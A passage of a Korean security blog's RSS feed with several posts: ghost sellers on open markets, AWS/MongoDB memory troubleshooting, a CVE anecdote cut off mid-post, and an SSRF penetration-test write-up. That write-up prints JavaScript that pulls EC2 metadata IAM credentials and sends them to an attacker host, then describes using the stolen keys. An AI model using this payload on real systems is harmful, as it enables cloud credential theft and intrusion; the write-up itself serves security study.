&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 테두리 삽입하는 기능을 모듈에서 지원하지 않아 직접 구현했었으니 필요하면 참고하시라:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://nopsled.tistory.com/320&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://nopsled.tistory.com/320&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771817957672&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;python docx add border to image&quot; data-og-description=&quot;VBScript로 테두리 넣으려니 자꾸 에러가 난다.. 게다가 웹에서 보고서 뽑을때 Table 셀들을 Merge해서 다운로드하고 있는데, VBScript로 후처리를 해주는 것보다 보고서 생성하면서 테두리를 넣는게 좋&quot; data-og-host=&quot;nopsled.tistory.com&quot; data-og-source-url=&quot;https://nopsled.tistory.com/320&quot; data-og-url=&quot;https://nopsled.tistory.com/320&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bIpO0j/dJMb83SfFPy/pvHLcU0awTkpkidelJQKqK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/bbM2jE/dJMb82eJTrD/ZkbdLKDFQPfKA01e8WdY21/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/bmA7SF/dJMb89yaonM/QDvZKF0EyZAt7Yn82xqnpk/img.jpg?width=460&amp;amp;height=460&amp;amp;face=0_0_460_460&quot;&gt;&lt;a href=&quot;https://nopsled.tistory.com/320&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://nopsled.tistory.com/320&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bIpO0j/dJMb83SfFPy/pvHLcU0awTkpkidelJQKqK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/bbM2jE/dJMb82eJTrD/ZkbdLKDFQPfKA01e8WdY21/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/bmA7SF/dJMb89yaonM/QDvZKF0EyZAt7Yn82xqnpk/img.jpg?width=460&amp;amp;height=460&amp;amp;face=0_0_460_460');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;python docx add border to image&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;VBScript로 테두리 넣으려니 자꾸 에러가 난다.. 게다가 웹에서 보고서 뽑을때 Table 셀들을 Merge해서 다운로드하고 있는데, VBScript로 후처리를 해주는 것보다 보고서 생성하면서 테두리를 넣는게 좋&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;nopsled.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/355</guid>
      <comments>https://nopsled.tistory.com/355#entry355comment</comments>
      <pubDate>Mon, 23 Feb 2026 12:44:23 +0900</pubDate>
    </item>
    <item>
      <title>아무도 알려주지 않는 유령판매자의 진실(feat. G마켓)</title>
      <link>https://nopsled.tistory.com/354</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;알려줬을지도 모르지만 제목을 조금 자극적이게 지어봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;유령 판매자라고 들어봤을지 모르겠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 유령 판매자란? 온라인 쇼핑몰이나 오픈마켓(쿠팡, 네이버 스마트스토어 등)에서 실제로는 상품을 보유하지 않거나 유령 회사(페이퍼 컴퍼니) 형태로 존재하면서, 사기 행각이나 개인정보 탈취를 목적으로 활동하는 판매자를 말합니다.(Ai 요약)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마 나같은 사람이 있을지 모르겠는데 오픈마켓(G마켓, 쿠팡, 스마트스토어 등)에서 물품을 구매한 후, 배송이 너무 안와서 판매자에게 문의를 하면 재고가 없다면서 취소해달라하며 상품을 받지 못하는 경우가 존재할거라 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로 인해 생기는 소비자의 문제는 물품 대금이 카드 결제 한도로 잡히게 되고 시간을 낭비한다. 그렇다고 정작 판매자에게는 자세한 패널티가 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자의 경우 최근에 핸드폰을 128GB로 쓰고 있어서 여유 용량이 5GB 남아서 여분의 백업 디스크를 사야했다. 요즘 SSD, 램 값이 엄청 뛰어올라버렸는데 알리에서 SN740 1TB 제품만 봐도 15~20의 가격을 형성하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼.. 유령판매자는 애초에 발송할 생각없이 크롤링을 통해 스마트스토어, 쿠팡 등의 타 사용자가 업로드한 상품의 상세페이지를 크롤링하고 오픈마켓으로 업로드한다.(상세페이지 내 이미지 URL을 확인해보면 원본 판매자를 찾을 수 있다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 소비자는 저렴한 가격에 구매한 후 개인정보는 유령판매자에게 넘어가게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;* 나이드신 분들이 보이스피싱 당하는 이유가 이뿐만이 아니라, 어디에선가 개인정보가 새어나갔을거다. 요즘 핫한 침해사고 등..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째로 시세보다 8만원 정도 더 싸게나온 매물이 있어서 옵션 오류일까? 싶어서 한 판매자에게 구매했는데 결국 취소엔딩됐다. 참고로 이후 판매자 정보를 봤을때 중국 업체로 확인됐다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;708&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bb6JWA/dJMcacB15xa/M1tDtM0uzJEdOkTHDuwVg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bb6JWA/dJMcacB15xa/M1tDtM0uzJEdOkTHDuwVg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bb6JWA/dJMcacB15xa/M1tDtM0uzJEdOkTHDuwVg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbb6JWA%2FdJMcacB15xa%2FM1tDtM0uzJEdOkTHDuwVg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;830&quot; height=&quot;708&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;708&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시나 주문 후 &quot;한국으로 배송중&quot;으로 바뀌었는데 연락도 없다가 문의를 남기니까 그제서야 재고가 없다고 취소했다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 어쩌다보니 처음으로 유령 판매자라는게 있는게 알게 되었고, G마켓 고객센터에 문의에 남겨 유령 판매자 같다고 제재 해달라고했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 이 일이 있고나서 대략 2주가 지났을 무렵.. 평소에 오지도 않던 검찰 보이스피싱 전화가 왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 번째로 당했던 케이스인데 시세보다 2~3만원 정도 조금 저렴하게 나왔길래 바로 샀으나, 역시나 &quot;한국으로 배송중&quot;으로 나오고 5일 정도 연락이 없어서 먼저 연락했더니 취소 엔딩.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byxd2l/dJMcaaKYx3B/DKTw8KetLhaO4zIkuKhJtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byxd2l/dJMcaaKYx3B/DKTw8KetLhaO4zIkuKhJtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byxd2l/dJMcaaKYx3B/DKTw8KetLhaO4zIkuKhJtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbyxd2l%2FdJMcaaKYx3B%2FDKTw8KetLhaO4zIkuKhJtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;871&quot; height=&quot;514&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;514&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러고 판매자 정보에서 나오는 핸드폰 번호로 확인했더니 불법적인 일들을 하고 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;981&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDrkSt/dJMcadHEWZ7/9GZ5nDVbbOkY410TODEAPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDrkSt/dJMcadHEWZ7/9GZ5nDVbbOkY410TODEAPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDrkSt/dJMcadHEWZ7/9GZ5nDVbbOkY410TODEAPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDrkSt%2FdJMcadHEWZ7%2F9GZ5nDVbbOkY410TODEAPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;981&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;981&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무리 오픈마켓이라 해도 이런 사람들을 가입시켜주는게 맞을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구매자가 상품을 구매하기 전에 판매자의 신용도나 평판이나 정보들을 찾아보면서 구매해야 하는게 맞을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 유령 판매자는 이름/집주소/핸드폰번호/개인통관고유번호/공동현관 비밀번호 등을 수집할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오픈마켓의 가입 절차가 어떻게 되는지 모르겠다만 까다롭지 않으니 판매자 승인을 해주는게 아닌가싶다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;1005&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfk5hK/dJMcagj7etV/VbHb2KYM5yLkCUzQTdixrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfk5hK/dJMcagj7etV/VbHb2KYM5yLkCUzQTdixrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfk5hK/dJMcagj7etV/VbHb2KYM5yLkCUzQTdixrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbfk5hK%2FdJMcagj7etV%2FVbHb2KYM5yLkCUzQTdixrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;1005&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;1005&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;너무 화가나서 G마켓 판매자 정책도 찾아보고 문의했더니 처음으로 G마켓 고객센터에서 전화가 와서 설명해주더라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 강하게 얘기해야 듣는거 같다.. 정말 또 당하면 소보원에 민원을 넣어볼 생각이다. 보이스피싱 방관이지 않을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 재고의 문제가 아니라 애초에 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;판매자는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;발송할 의지가 없었고 개인정보를 취득하기 위함일텐데 참 답답하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로 G마켓에서 해당 판매자에게 패널티를 적용한다고는 하는데, 몇번만의 패널티로 아웃되는지 모르겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분의 사람들은 그냥 재고가 없어서 취소됐구나 생각할 수도 있을텐데, 곰곰히 판매자의 정보로 구글링해보고 잘 생각해보자.&lt;/p&gt;</description>
      <category>일상생활</category>
      <category>G마켓</category>
      <category>옥션</category>
      <category>쿠팡</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/354</guid>
      <comments>https://nopsled.tistory.com/354#entry354comment</comments>
      <pubDate>Wed, 11 Feb 2026 17:17:10 +0900</pubDate>
    </item>
    <item>
      <title>SSRF</title>
      <link>https://nopsled.tistory.com/353</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;피해자 환경은 공격자 서버로 요청할 수 있게끔 iframe의 src attribute에 삽입해서 userAgent를 확인했을때 IE11+Windows로 파악했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 확실하게 확인하기 위해서 iframe의 src에 http://localhost와&amp;nbsp;file:///C:\\ 했을때 결과를 봤다. iframe에서 에러난 화면이 ie11로 보였다. ie11 익스를 하려고 했는데 장애가 있을까봐 시도해보진 못했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 file 스키마나 cors는 브라우저가 이미 애초에 로컬 리소스를 띄워줬기 때문에 접근이 가능했지 않았을까 하는 생각이든다. 아니면 애초에 레거시 브라우저라서 가능했을 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼 ec2 metadata 엔드포인트에 요청했고 다행히 credentials을 받아낼 수 있었다. 하지만 변수가 있었는데 iframe src에 metadata url을 삽입한 후 결과를 보면 sessionToken이 너무 길어서 pdf에선 짤리기 때문에 외부 요청이 필요했다.&lt;/p&gt;
&lt;pre class=&quot;haxe&quot;&gt;&lt;code&gt;var xhr = new XMLHttpRequest();
xhr.open(&quot;GET&quot;, &quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/{IAM_ROLE_NAME}&quot;, true);
xhr.onreadystatechange = function () {
  if (xhr.readyState === 4) {
    var img = new Image();
    img.src = &quot;http://{ATTACKER_IP}/?enc=&quot; + btoa(xhr.responseText);
    document.body.appendChild(img);
  }
};
xhr.send();&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 만든 요것. 이렇게해서 img get 방식으로 cors를 우회할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력 문자의 제한이 있고 CSP가 없다면 공격자 서버에 해당 js를 올려놓고 await import('http://ATTACKER\_URL/something.js'); 하는 식으로 사용해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 탈취한 3가지 키인 aws_access_key_id, aws_secret_access_key, aws_session_token을 가지고 aws s3 ls나 aws ec2 describe-instances를 통해 버킷이나 인스턴스를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IAM role이 피해자 인스턴스에 과도하게 잡혀있다면 start-instances나 stop-instances 등이 가능하다.&lt;/p&gt;</description>
      <category>모의해킹</category>
      <category>AWS</category>
      <category>Converter</category>
      <category>EC2</category>
      <category>PDF</category>
      <category>ssrf</category>
      <category>XSS</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/353</guid>
      <comments>https://nopsled.tistory.com/353#entry353comment</comments>
      <pubDate>Thu, 22 Jan 2026 13:16:04 +0900</pubDate>
    </item>
    <item>
      <title>AWS CPUUtilization</title>
      <link>https://nopsled.tistory.com/352</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;우리 회사와 모회사에서 사용하는 AWS는 t3.micro 그리고 t2.medium을 사용하는 것으로 기억하는데, 가끔 가다가 cpu가 maximum을 찍어서 ssh나 웹서버가 죽는 현상이 발생했다. 사용자들이 많이 접속하지 않아&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;적은 스펙으로도&lt;span&gt;&amp;nbsp;운영할 수 있는&amp;nbsp;&lt;/span&gt;&lt;/span&gt;그런 서비스들이라 생각했는데 인스턴스들이 자주 pending 되어버리는 현상이 발생했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;t2나 t3 인스턴스들은 사용하지 않는 경우 CPU 크레딧을 적립하고 많이 사용되는 경우 적립된 크레딧을 가지고 CPU를 버스트하여 퍼포먼스를 끌어올릴 수 있는데, 버스트를 하고 있음에도 불구하고 뻗어버렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공통적으로 알 수 있는건 CloudWatchd에서 CPUUtilization이 6이상 9까지 찍어버리는데, 이 경우 서버의 모든 프로세스가 pending되어 접속도 불가능하기 때문에 서버를 항상 재시작해줬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;-&amp;gt; 이후 트러블슈팅은 불가능하다 생각해서 인스턴스 스펙이 낮은 모회사는 CloudWatch로 CPUUtilization이 임계치(&amp;gt;=7)를 넘어가는 경우 서버를 자동으로 재시작하도록 설정해놨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇게 시간이 지나고.. 원인을 찾으려고 노력해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MongoDB connections&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선각종 로그를 봤으나 파악이 불가능했는데, 첫 번째로 가장 의심이 드는 경우는 uwsgi/wsgi 앱에서 사용자 요청에 따라 DB 세션이 각각 생성되어 cpu를 많이 잡아먹는다 정도로 유추했으나, mongo 클라이언트로 주기적으로 확인해봤으나 세션이 무한정 생성되는 케이스는 아니였던 것으로 파악했다.&lt;/p&gt;
&lt;pre class=&quot;ada&quot;&gt;&lt;code&gt;&amp;gt; db.serverStatus().connections
{
    &quot;current&quot; : 9,
    &quot;available&quot; : 51191,
    &quot;totalCreated&quot; : 13,
    &quot;active&quot; : 4,
    &quot;exhaustIsMaster&quot; : 3,
    &quot;exhaustHello&quot; : 0,
    &quot;awaitingTopologyChanges&quot; : 3
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주기적으로 ssh 접속해서 직접 확인해봤는데 가장 드는 의심은 메모리 사용량이였다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;A서버 Server Memory&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;root@ip-172-31-45-72:/home/nopsled# free -h
               total        used        free      shared  buff/cache   available
Mem:           914Mi       703Mi       104Mi       3.2Mi       264Mi       210Mi
Swap:             0B          0B          0B&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;B서버 Server Memory&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;root@ip-172-31-40-67:/var/www/copies-server# free -h
              total        used        free      shared  buff/cache   available
Mem:          1.9Gi       873Mi        78Mi       2.0Mi       1.0Gi       883Mi
스왑:          0B          0B          0B&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;B서버의 경우 A서버에 비해 그나마 스펙이 조금 높게 잡혀있는데, 아직까지는 메모리 사용량이 현저히 낮지만 어느 시점에 갑자기 이 메모리가 누적되기 시작하더니 가용 메모리가 3%미만으로 남아버리는 케이스가 발생했다. 그 이후 메모리가 부족하니 CPU 사용량이 높아지고 서버가 죽어버리는 케이스였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알고보니 wiredTiger 엔진의 cache 메모리를 좀 줄여야하는 상황인데, 당장 운영하기에는 테스트가 불가능할 것 같아서 현재는 crontab으로 주기적으로 MongoDB 서비스를 재시작함으로써 캐시를 초기화해주는 임시방편을 선택했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 업무가 시작되기 전인 8시 50분과 점심시간이 끝나기전 12시 50분 그리고 업무가 끝난 후 18시 55분쯤 서비스를 재시작함으로써 잠시 숨을 돌릴 수 있게된 것 같다.(사실 바로 어제 주말에 작업해놔서 잘 되지 않을까 싶긴하다...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cacheMemory를 줄이고 반영되면 이후 다시 쓰도록하겠다.&lt;/p&gt;</description>
      <category>데이터베이스</category>
      <category>flask</category>
      <category>MongoDB</category>
      <category>uWSGI</category>
      <category>WSGI</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/352</guid>
      <comments>https://nopsled.tistory.com/352#entry352comment</comments>
      <pubDate>Mon, 12 Jan 2026 10:27:23 +0900</pubDate>
    </item>
    <item>
      <title>나도 당한 CVE-2025-55182</title>
      <link>https://nopsled.tistory.com/351</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;어제인가...? RSC Security Tool이라는 chrome extesion이 있길래 엇? 나도 한번 테스트 해봐야지~ 싶어서 로컬로 취약한 next.js를 설치하고 12월 17일 15:38쯤 구동했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇게 테스트를 마쳐서 RSC Tool이 편하긴 하구나~ 하고 넘겼는데, 다른 일 하느라 끄는걸 까먹었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히나 여기서 중요한건 우리집 맥북 아이피는 DMZ로 설정되어 있어서 외부에 오픈되어 있다는 점.. 까먹고 그냥 냅뒀다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음날.. 12월 18일 20:00쯤 터미널 탭 1번에서 열심히 돌아가고 있는 next.js 녀석을... 봐버렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;457&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TvJV6/dJMb99SuwU4/szworAlnN1Tet8AmvASeek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TvJV6/dJMb99SuwU4/szworAlnN1Tet8AmvASeek/img.png&quot; data-alt=&quot;거의 뭐 그냥 리얼망에 구축된 허니팟 수준&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TvJV6/dJMb99SuwU4/szworAlnN1Tet8AmvASeek/img.png&quot; 